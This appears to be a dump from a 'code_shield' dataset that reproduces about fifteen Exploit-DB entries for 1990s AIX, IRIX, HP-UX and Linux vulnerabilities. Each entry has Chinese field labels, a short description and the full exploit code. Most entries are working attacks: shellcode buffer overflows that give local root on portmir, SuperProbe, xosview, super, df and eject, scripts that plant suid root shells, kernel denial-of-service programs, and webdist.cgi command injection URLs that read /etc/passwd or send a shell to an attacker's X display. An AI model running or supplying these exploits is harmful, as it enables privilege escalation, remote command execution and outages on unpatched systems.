QLWD/code_shield huggingface dataset:
标题: IBM AIX 4.2.1 - '/usr/bin/portmir' Local Buffer Overflow / Insecure Temporary File Creation EDB-ID: 19306 CVE: 1999-0092 类型: LOCAL 平台: AIX 发布日期: 1997-10-29 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/385/info

AIX version 4.2.1 introduced a new command titled 'portmir'. This new program had two notable vulnerabilites. First it contained a buffer overflow which allowed malicious users to obtain root privileges. Secondly it wrote it's log files to a world readable directly thereby exposing security relavent information. 
*/

/*## copyright LAST STAGE OF DELIRIUM oct 2000 poland        *://lsd-pl.net/ #*/
/*## /usr/bin/portmir                                                        #*/

/*   note: to avoid potential system hang-up please, first obtain the exact   */
/*   AIX OS level with the use of the uname -a or oslevel commands            */

#define ADRNUM 400
#define NOPNUM 16000
#define ALLIGN 2

char shellcode[]=
    "\x7c\xa5\x2a\x79"     /* xor.    r5,r5,r5               */
    "\x40\x82\xff\xfd"     /* bnel    <shellcode>            */
    "\x7f\xe8\x02\xa6"     /* mflr    r31                    */
    "\x3b\xff\x01\x20"     /* cal     r31,0x120(r31)         */
    "\x38\x7f\xff\x08"     /* cal     r3,-248(r31)           */
    "\x38\x9f\xff\x10"     /* cal     r4,-240(r31)           */
    "\x90\x7f\xff\x10"     /* st      r3,-240(r31)           */
    "\x90\xbf\xff\x14"     /* st      r5,-236(r31)           */
    "\x88\x5f\xff\x0f"     /* lbz     r2,-241(r31)           */
    "\x98\xbf\xff\x0f"     /* stb     r5,-241(r31)           */
    "\x4c\xc6\x33\x42"     /* crorc   cr6,cr6,cr6            */
    "\x44\xff\xff\x02"     /* svca                           */
    "/bin/sh\xff"
;

char nop[]="\x7f\xff\xfb\x78";

main(int argc,char **argv,char **e){
    char buffer[20000],adr[4],*b,*envp[2];
    int i;

    printf("copyright LAST STAGE OF DELIRIUM oct 2000 poland  //lsd-pl.net/\n");
    printf("/usr/sbin/portmir for aix 4.2 4.3 4.3.x PowerPC/POWER\n\n");

    if(argc<2){
        printf("usage: %s 42|43|433\n",argv[0]);exit(-1);
    }

    switch(atoi(argv[1])){
    case  42: shellcode[55]=0x02; break;
    case  43: shellcode[55]=0x04; break;
    case 433: shellcode[55]=0x03; break;
    default: exit(-1);
    }

    i=0; while(*e++) i+=strlen(*e)+1;
    *((unsigned long*)adr)=(unsigned long)e+(i&~3)-8000;

    envp[0]=&buffer[1000];
    envp[1]=0;

    b=buffer;
    for(i=0;i<ALLIGN;i++) *b++=adr[i%4];
    for(i=0;i<ADRNUM;i++) *b++=adr[i%4];
    *b=0;

    b=&buffer[1000];
    sprintf(b,"xxx=");b+=4;
    for(i=0;i<ALLIGN;i++) *b++=' ';
    for(i=0;i<NOPNUM;i++) *b++=nop[i%4];
    for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i];
    *b=0;

    execle("/usr/sbin/portmir","lsd","-t",buffer,0,envp);
} URL: https://www.exploit-db.com/exploits/19306
标题: SGI IRIX 6.2 - cgi-bin wrap EDB-ID: 19298 CVE: 1999-0149 类型: REMOTE 平台: MULTIPLE 发布日期: 1997-04-19 漏洞利用脚本: source: https://www.securityfocus.com/bid/373/info


A vulnerability exists in the cgi-bin program 'wrap', as included with Irix 6.2 from SGI. A failure to validate input results in a vulnerability that allows any remote attacker to view the contents of any world readable directory remotely. This can be used to gain information that may be helpful in carrying out other attacks. 

http://sgi.victim/cgi-bin/wrap?/../../../../../etc URL: https://www.exploit-db.com/exploits/19298
标题: IBM AIX 4.2.1 - 'snap' Insecure Temporary File Creation EDB-ID: 19300 CVE: 1999-1405 类型: LOCAL 平台: AIX 发布日期: 1999-02-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/375/info

The snap command is a diagnostic utlitiy for gathering system information on AIX platforms. It can only be executed by root, but it copies various system files into /tmp/ibmsupt/ under /tmp/ibmsupt/general/ you will find the passwd file with cyphertext. The danger here is if a system administrator executes snap -a as sometimes requested by IBM support while diagnosing a problem it defeats password shadowing. /tmp/ibmsupt is created with 755 permissions they may carry out a symlink attack and gain access to the password file. 

snap is a shell script which uses cp -p to gather system information. Data from /etc/security is gathered between lines 721 - 727. Seeing that snap uses the /tmp/ibmsupt/general directory someone may create the directory as a normal user (tested on on AIX 4.2.1). The user may then do a touch on /tmp/ibmsupt/general/passwd. Once the passwd file is created do tail -f /tmp/ibmsupt/general/passwd. If in another session someone loggs in as root and ran snap -a - this will cause the contents of the /etc/security/passwd to show up in tail command. URL: https://www.exploit-db.com/exploits/19300
标题: SGI IRIX 6.3 - cgi-bin 'webdist.cgi' Command Execution EDB-ID: 19299 CVE: 1999-0039 类型: REMOTE 平台: MULTIPLE 发布日期: 1997-05-06 漏洞利用脚本: source: https://www.securityfocus.com/bid/374/info


A vulnerability exists in the webdist.cgi program, as shipped by Silicon Grpahics Inc with the Irix operating system. This vulnerability will allow any remote user to execute arbitrary commands on an affected machine. Commands will be executed with the privileges of the httpd daemon.

/cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

or

http://host/webdist.cgi?distloc=;/usr/bin/X11/xterm%20-display%20hacker:0.0%20-ut%20-e%20/bin/sh URL: https://www.exploit-db.com/exploits/19299
标题: Slackware Linux 3.1 - '/usr/X11/bin/SuperProbe' Local Buffer Overflow EDB-ID: 19283 CVE: 1999-1489 类型: LOCAL 平台: LINUX 发布日期: 1997-03-04 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/364/info

superprobe is an program supplied with XFree86 that helps determine video hardware. It is shipped with Slackware Linux 3.1 and is installed setuid root. There is an exploitable strcpy buffer overflow in the TestChip() function which allows for a trivial local root compromise.
*/

/*
* SuperProbe buffer overflow exploit for Linux, tested on Slackware 3.1
* Copyright (c) 1997 by Solar Designer
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char *shellcode =
"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"
"\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"
"\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
"\x31\xdb\xcd\x80/"
"/bin/sh"
"0";
char *get_sp() {
asm("movl %esp,%eax");
}
#define bufsize 8192
#define alignment 0
char buffer[bufsize];
main() {
int i;
for (i = 0; i < bufsize / 2; i += 4)
*(char **)&buffer[i] = get_sp() - 2048;
memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
strcpy(&buffer[bufsize - 256], shellcode);
setenv("SHELLCODE", buffer, 1);
memset(buffer, 'x', 72);
*(char **)&buffer[72] = get_sp() - 6144 - alignment;
buffer[76] = 0;
execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer, NULL);
} URL: https://www.exploit-db.com/exploits/19283
标题: RedHat Linux 2.1 - 'abuse.console' Local Privilege Escalation EDB-ID: 19279 CVE: 1999-1491 类型: LOCAL 平台: LINUX 发布日期: 1996-02-02 漏洞利用脚本: source: https://www.securityfocus.com/bid/354/info

Abuse is a game that is included with RedHat Linux 2.1 in the games package. The console version, abuse.console, is suid-root and will load the program sndrv as root without checking for an absolute pathname. This means that sndrv can be substituted in another directory by a regular user and used to locally execute arbitrary code on the target machine. Consequences are a root compromise. 

Exploit:

#!/bin/sh

#

# abuser.sh

# exploits a security hole in abuse to create

# a suid root shell /tmp/abuser on a linux

# Red Hat 2.1 system with the games package

# installed.

#

# by Dave M. (davem@cmu.edu)

#

echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system

echo ================ Checking system vulnerability

if test -u /usr/lib/games/abuse/abuse.console

then

echo ++++++++++++++++ System appears vulnerable.

cd /tmp

cat << _EOF_ > /tmp/undrv

#!/bin/sh

/bin/cp /bin/sh /tmp/abuser

/bin/chmod 4777 /tmp/abuser

_EOF_

chmod +x /tmp/undrv

PATH=/tmp

echo ================ Executing Abuse

/usr/lib/games/abuse/abuse.console

/bin/rm /tmp/undrv

if test -u /tmp/abuser

then

echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser

else

echo ---------------- Exploit failed

fi

else

echo ---------------- This machine does not appear to be vulnerable.

fi URL: https://www.exploit-db.com/exploits/19279
标题: Linux Kernel 2.0 - TCP Port Denial of Service EDB-ID: 19271 CVE: 1999-0451 类型: DOS 平台: LINUX 发布日期: 1999-01-19 漏洞利用脚本: /*
source: https://www.securityfocus.com/bid/343/info


It is possible to leak kernel memory and render TCP ports above 1024 unusable, locked forever in the CLOSE_WAIT state in linux kernels prior to the late 2.1.x and 2.2.0pre releases. In addition to being intentionally exploited, unix applications compiled on linux that are multithreaded may also cause these problems.

Below is a harmless example of the exploit:
*/


// This program will kill a random port on a linux machine. The kernel will

// forever listen to that port and send the connections nowhere. Tested with

// Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile,

// but removing LinuxThreads from your system will not solve the problem.

// Discovered by David J. Schwartz <davids@webmaster.com>

// Copyright (C) 1998, David J. Schwartz

// Compile with:

// gcc killport.c -lpthread -o killport

#include <pthread.h>

#include <stdio.h>

#include <sys/types.h>

#include <sys/socket.h>

#include <netinet/in.h>

#include <stdlib.h>

#include <arpa/inet.h>

#include <errno.h>

volatile int s;

void *Thread1(void *a)

{

int i,p;

struct sockaddr_in to;

fd_set fd;

s=socket(AF_INET, SOCK_STREAM, 0);

if(s<=0) return;

memset(&to, 0, sizeof(to));

srand(getpid());

/* we pick a random port between 50000 and 59999 */

p=(rand()%10000)+50000;

printf("port = %d\n", p);

fflush(stdout);

to.sin_port=htons(p);

to.sin_addr.s_addr=0;

to.sin_family=AF_INET;

if(bind(s, (struct sockaddr *)&to, sizeof(to))<0) fprintf(stderr,"no bind\n");

if(listen(s,10)!=0)

fprintf(stderr,"No Listen\n");

/* now we are listening on that port */

i=sizeof(to);

FD_ZERO(&fd);

FD_SET(s,&fd);

select(s+1,&fd,NULL,NULL,NULL);

/* at this point we have selected on it as well */

fprintf(stderr,"select returned!\n");

}

void *Thread2(void *a)

{

close(s);

fflush(stderr);

abort();

}

void main(void)

{

pthread_t j;

pthread_create(&j,NULL,Thread1,NULL);

usleep(100); /* give the other thread time to finish */

pthread_create(&j,NULL,Thread2,NULL);

while(1) sleep(1);

} URL: https://www.exploit-db.com/exploits/19271
标题: HP HP-UX 10.20 / IBM AIX 4.1.5 - 'connect()' Denial of Service EDB-ID: 19278 CVE: 1999-1408 类型: DOS 平台: HP-UX 发布日期: 1997-03-05 漏洞利用脚本: source: https://www.securityfocus.com/bid/352/info


Certain versions of AIX and HP/UX contained a bug in the way the OS handled the connect system call. The connect call is used to initiate a connection on a socket. Because of the flaw in the handling code under AIX certain versions will reboot when given two connects, one to a fixed port (a number of different ports were found to trigger this behaviour) and then another random port connection immediately thereafter. 

#!/usr/local/bin/perl5
use Socket;

socket (SOCK,AF_INET,SOCK_STREAM,0);
$iaddr = inet_aton('localhost');
$paddr = sockaddr_in('23',$iaddr);
connect SOCK,$paddr;
shutdown SOCK,2;
$paddr = sockaddr_in('24',$iaddr);
connect SOCK,$paddr; URL: https://www.exploit-db.com/exploits/19278
标题: Linux Kernel 2.2 - 'ldd core' Force Reboot (Denial of Service) EDB-ID: 19272 CVE: 1999-0400 类型: DOS 平台: LINUX 发布日期: 1999-01-26 漏洞利用脚本: source: https://www.securityfocus.com/bid/344/info


Due to a rare and subtle bug in the 2.2.0 kernel, a linux machine can be forced to reboot by an unpriviliged local user. The reason for this is because of the invalid ELF core layout and the fact that munmap wipes out a vital page table entry.

Only kernel 2.2.0 is vulnerable to this.


Take any core file,

[user@box tmp]$ ldd core

[reboot] URL: https://www.exploit-db.com/exploits/19272
标题: SGI IRIX 6.2 - 'fsdump' Local Privilege Escalation EDB-ID: 19280 CVE: 1999-0044 类型: LOCAL 平台: IRIX 发布日期: 1996-12-03 漏洞利用脚本: source: https://www.securityfocus.com/bid/355/info

A number of vulnerabilities exist in the fsdump program included with Silicon Graphics Inc's IRIX operating system. Each of these holes can be used to obtain root privlilege. 

Variant 1:
irix% /var/rfindd/fsdump -L/etc/passwd -F/tmp/dump /
(count to three, and hit ctrl-c)
irix% ls -la /etc/passwd
-rw-r--r-- 1 csh users 956 Feb 25 06:23 /etc/passwd
irix% tail -8 /etc/passwd
nobody:*:60001:60001:SVR4 nobody uid:/dev/null:/dev/null
noaccess:*:60002:60002:uid no access:/dev/null:/dev/null
nobody:*:-2:-2:original nobody uid:/dev/null:/dev/null

Tue Feb 25 06:23:48 PST 1997
Number of inodes total 208740; allocated 31259
Collecting garbage.
interrupted
irix% vi /etc/passwd # remove the encrypted root password
irix% chgrp sys /etc/passwd
irix% chown root /etc/passwd
irix% su -
irix#

Variant 2:

cp /etc/passwd /tmp/passwd
ln -s /etc/passwd rfd.lock
/var/rfindd/fsdump -F/tmp/rfd /
/var/rfindd/fsdump -L/etc/passwd -F/tmp/rfd /

Variant 3:
cd /tmp
ln -s /.rhosts fsdump.dir
/var/rfindd/fsdump -Fgimme /
ls -al /.rhosts
rm -f fsdump.dir fsdump.pag gimme URL: https://www.exploit-db.com/exploits/19280
标题: RedHat Linux 5.1 - xosview EDB-ID: 19281 CVE: 1999-1490 类型: LOCAL 平台: LINUX 发布日期: 1999-05-28 漏洞利用脚本: // source: https://www.securityfocus.com/bid/362/info


xosview is an X11 system monitoring application that ships with RedHat 5.1 installed setuid root. A buffer overflow vulnerability was found in Xrm.cc, the offending code listed below:

char userrfilename[1024];

strcpy(userrfilename, getenv("HOME"));

The userfilename can be overflowed and arbritrary code executed to gain root access locally. 

* xosview 1.5.1 buffer overrun exploit

* brought to you by Kossak (ldvg@rnl.ist.utl.pt)

*

* yep, this is a shameless rip from Aleph's tutorials, but it sure

* works... Lets keep those exploits coming!! :)

* Thanks to Chris Evans for posting the bug.

*/

/* NOTE!!! xosview needs an open X display for this to work, so remember

* to modify the source (line 62), with your ip.

* The offset and buffer size work with me fine, but you might need to

* change them.

*/

#include <stdlib.h>

#define DEFAULT_OFFSET 1150

#define DEFAULT_BUFFER_SIZE 3500

#define NOP 0x90

char shellcode[] =

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"

"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_sp(void) {

__asm__("movl %esp,%eax");

}

void main(int argc, char *argv[]) {

char *buff, *ptr;

long *addr_ptr, addr;

int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;

int i;

if (!(buff = malloc(bsize))) {

printf("Can't allocate memory.\n");

exit(0);

}

addr = get_sp() - offset;

printf("xosview exploit by Kossak\n");

printf("try changing the default values if you dont get root now.\n");

printf("Using address: 0x%x\n", addr);

ptr = buff;

addr_ptr = (long *) ptr;

for (i = 0; i < bsize; i+=4)

*(addr_ptr++) = addr;

for (i = 0; i < bsize/2; i++)

buff[i] = NOP;

ptr = buff + ((bsize/2) - (strlen(shellcode)/2));

for (i = 0; i < strlen(shellcode); i++)

*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';

setenv("HOME", buff, 1);

system("/usr/bin/X11/xosview -display 0:0"); /* your IP here */

} URL: https://www.exploit-db.com/exploits/19281
标题: Debian 2.0 - Super Syslog Buffer Overflow EDB-ID: 19270 CVE: 1999-0381 类型: LOCAL 平台: LINUX 发布日期: 1999-02-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/342/info
// 
// After the first super buffer overflow vulnerability was discovered, another appeared shortly after. This vulnerability exists when the syslog option is enabled. The overflow is in the file error.c, in the Error() function where the buf[MAXPRINT] buffer is used with no bounds checking. The consequences of this are local root compromise. 
// 
// --------------- SDI-super.c --------------------------------------
// 
/*
* [ Sekure SDI ]
* [ Brazilian Info Security Team ]
* | ---------------------------------- ]
* | SUPER exploit for linux |
* | ---------------------------------- |
* | |
* | http://ssc.sekure.org |
* | Sekure SDI Secure Coding Team |
* | |
* | ---------------------------------- |
* | by c0nd0r <condor@sekure.org> |
* | ---------------------------------- |
* [ thanks for the ppl at sekure.org: ]
* [ jamez(shellcode), bishop, dumped, ]
* [ bahamas, fcon, vader, yuckfoo. ]
*
*
* This will exploit a buffer overflow condition in the log section of
* the SUPER program.
*
* It will create a suid bash owned by root at /tmp/sh.
* (It'll defeat the debian bash-2.xx protection against rootshell)
*
* Note: The SUPER program must be compiled with the SYSLOG option.
*
* also thanks people from #uground (irc.brasnet.org network)
*
*/
char shellcode[] =
"\xeb\x31\x5e\x89\x76\x32\x8d\x5e\x08\x89\x5e\x36"
"\x8d\x5e\x0b\x89\x5e\x3a\x31\xc0\x88\x46\x07\x88"
"\x46\x0a\x88\x46\x31\x89\x46\x3e\xb0\x0b\x89\xf3"
"\x8d\x4e\x32\x8d\x56\x3e\xcd\x80\x31\xdb\x89\xd8"
"\x40\xcd\x80\xe8\xca\xff\xff\xff"
"/bin/sh -c cp /bin/sh /tmp/sh; chmod 4755 /tmp/sh";
unsigned long getsp ( void) {
__asm__("mov %esp,%eax");
}
main ( int argc, char *argv[] ) {
char itamar[2040]; // ta mar mesmo
long addr;
int x, y, offset = 1000, align=0;
if ( argc > 1) offset = atoi(argv[1]);
addr = getsp() + offset;
for ( x = 0; x < (1410-strlen(shellcode)); x++)
itamar[x] = 0x90;
for ( ; y < strlen(shellcode); x++, y++)
itamar[x] = shellcode[y];
for ( ; x < 1500; x+=4) {
itamar[x ] = (addr & 0xff000000) >> 24;
itamar[x+1] = (addr & 0x000000ff);
itamar[x+2] = (addr & 0x0000ff00) >> 8;
itamar[x+3] = (addr & 0x00ff0000) >> 16;
}
itamar[x++] = '\0';
printf ( "\nwargames at 0x%x, offset %d\n", addr, offset);
printf ( "Look for a suid shell root owned at /tmp/sh\n");
execl ( "/usr/local/bin/super", "super", "-T",itamar, (char *) 0);
} URL: https://www.exploit-db.com/exploits/19270
标题: SGI IRIX 6.3 - 'df' Local Privilege Escalation EDB-ID: 19274 CVE: 1999-0025 类型: LOCAL 平台: IRIX 发布日期: 1997-05-24 漏洞利用脚本: // source: https://www.securityfocus.com/bid/346/info

A buffer overflow exists in IRIX 5.x and 6.x 'df' utility, from Silicon Graphics Inc. By supplying a long argument to the -f option of df, a user can crash the df program. By carefully crafting a buffer containing machine executable code, an attacker can run arbitrary commands as root. 

/* /bin/df buffer overflow exploit by DCRH */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      1504
#define EXTRA           700
#define OFFSET          0x200
#define IRIX_NOP        0x03e0f825    /* move $ra,$ra */

#define u_long unsigned


u_long get_sp_code[] = {
    0x03a01025,         /* move $v0,$sp         */
    0x03e00008,         /* jr $ra               */
    0x00000000,         /* nop                  */
};

u_long irix_shellcode[] = {
    0x24041234,         /* li $4,0x1234         */
    0x2084edcc,         /* sub $4,0x1234        */
    0x0491fffe,         /* bgezal $4,pc-4       */
    0x03bd302a,         /* sgt $6,$sp,$sp       */
    0x23e4012c,         /* addi $4,$31,264+36   */
    0xa086feff,         /* sb $6,-264+7($4)     */
    0x2084fef8,         /* sub $4,264           */
    0x20850110,         /* addi $5,$4,264+8     */
    0xaca4fef8,         /* sw $4,-264($5)       */
    0xaca6fefc,         /* sw $4,-260($5)       */
    0x20a5fef8,         /* sub $5, 264          */
    0x240203f3,         /* li $v0,1011          */
    0x03ffffcc,         /* syscall 0xfffff      */
    0x2f62696e,         /* "/bin"               */
    0x2f7368ff,         /* "/sh"                */
};

char buf[BUF_LENGTH + EXTRA + 8];

void main(int argc, char **argv)
{
    char *env[] = {NULL};
    u_long targ_addr, stack;
    u_long *long_p;
    int i, code_length = strlen((char *)irix_shellcode)+1;
    u_long (*get_sp)(void) = (u_long (*)(void))get_sp_code;

    stack = get_sp();

    long_p =(u_long *)  buf;
    targ_addr = stack + OFFSET;

    if (argc > 1)
        targ_addr += atoi(argv[1]) * 4;

    while ((targ_addr & 0xff000000) == 0 ||
           (targ_addr & 0x00ff0000) == 0 ||
           (targ_addr & 0x0000ff00) == 0 ||
           (targ_addr & 0x000000ff) == 0)
        targ_addr += 4;

    for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
        *long_p++ = IRIX_NOP;

    for (i = 0; i < code_length/sizeof(u_long); i++)
        *long_p++ = irix_shellcode[i];

    for (i = 0; i < EXTRA / sizeof(u_long); i++)
        *long_p++ = (targ_addr << 16) | (targ_addr >> 16);

    *long_p = 0;

    printf("stack = 0x%x, targ_addr = 0x%x\n", stack, targ_addr);

    execle("/bin/df", "df", &buf[3], 0, env);
    perror("execl failed");
} URL: https://www.exploit-db.com/exploits/19274
标题: SGI IRIX 6.2 - 'eject' Local Privilege Escalation (2) EDB-ID: 19277 CVE: 1999-0027 类型: LOCAL 平台: IRIX 发布日期: 1997-05-25 漏洞利用脚本: // source: https://www.securityfocus.com/bid/351/info
 
A vulnerability exists in the eject program shipped with Irix 6.2 from Silicon Graphics. By supplying a long argument to the eject program, it is possible to overwrite the return address on the stack, and execute arbitrary code as root. Eject is normally used to eject removeable media from the system, and as such is setuid root to allow for any user at the console to perform eject operations.

/* copyright by */
/* Last Stage of Delirium, Dec 1996, Poland*/

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>

#define BUFSIZE 2068
#define OFFS 800
#define ADDRS 3
#define ALIGN 0
#define ALIGN2 4

char asmcode[]="\x3c\x18\x2f\x62\x37\x18\x69\x6e\x3c\x19\x2f\x73\x37\x39\x68\x2e\xaf\xb8\xff\xf8\xaf\xb9\xff\xfc\xa3\xa0\xff\xff\x27\xa4\xff\xf8\x27\xa5\xff\xf0\x01\x60\x30\x24\xaf\xa4\xff\xf0\xaf\xa0\xff\xf4\x24\x02\x04\x23\x02\x04\x8d\x0c";
char nop[]="\x24\x0f\x12\x34";

void run(unsigned char *buf) {
  execl("/usr/sbin/eject","lsd",buf,NULL);
  printf("execl failed\n");
}

char jump[]="\x03\xa0\x10\x25\x03\xe0\x00\x08\x24\x0f\x12\x34\x24\x0f\x12\x34";

main(int argc, char *argv[]) {
  char *buf, *ptr, addr[8];
  int offs=OFFS, bufsize=BUFSIZE, addrs=ADDRS, align=ALIGN;
  int i, noplen=strlen(nop);

  if (argc >1) bufsize=atoi(argv[1]);
  if (argc >2) offs=atoi(argv[2]);
  if (argc >3) addrs=atoi(argv[3]);
  if (argc >4) align=atoi(argv[4]);

  if (bufsize<strlen(asmcode)) {
    printf("bufsize too small, code is %d bytes long\n", strlen(asmcode));
    exit(1);
  }
  if ((buf=malloc(bufsize+(ADDRS<<2)+noplen+1))==NULL) {
    printf("Can't malloc\n");
    exit(1);
  }

  *(int *)addr=(*(unsigned long(*)())jump)()+offs;
  printf("address=%p\n",*(int *)addr);

  strcpy(buf,nop);
  ptr=buf+noplen;
  buf+=4-align;
  for(i=0;i<bufsize;i++)
   *ptr++=nop[i%noplen];
  memcpy(ptr-strlen(asmcode),asmcode,strlen(asmcode));
  for(i=0;i<(addrs<<2);i++)
   *ptr++=addr[i%sizeof(int)];
  *ptr=0;

  printf("buflen=%d\n", strlen(buf));
  fflush(stdout);

  ptr-=addrs<<2;
  *(int *)addr+=(0x7fff350c-0x7fff31e8)+(4*100)+ALIGN2;
  for(i=0;i<64;i++)
   *ptr++=addr[i&3];


/* gp value is set here */
  ptr=buf+ALIGN+(0x7fff2f00-0x7fff2ce8)-24;
  *(int *)addr=(*(unsigned long(*)())jump)()+OFFS+(0x7fff350c-0x7fff31e8-4)+ALIGN2+32+32412;

  for(i=0;i<64;i++)
   *ptr++=addr[i&3];

  run(buf);
} URL: https://www.exploit-db.com/exploits/19277
标题: SGI IRIX 6.0.1 - 'colorview' Read Files EDB-ID: 19269 CVE: 1999-1494 类型: LOCAL 平台: IRIX 发布日期: 1995-02-09 漏洞利用脚本: source: https://www.securityfocus.com/bid/336/info

Colorview fails to validate that the user has access to the file supplied to the -text option. As a result, users can view arbitrary files. 

/usr/sbin/colorview -text /var/spool/mail/admin URL: https://www.exploit-db.com/exploits/19269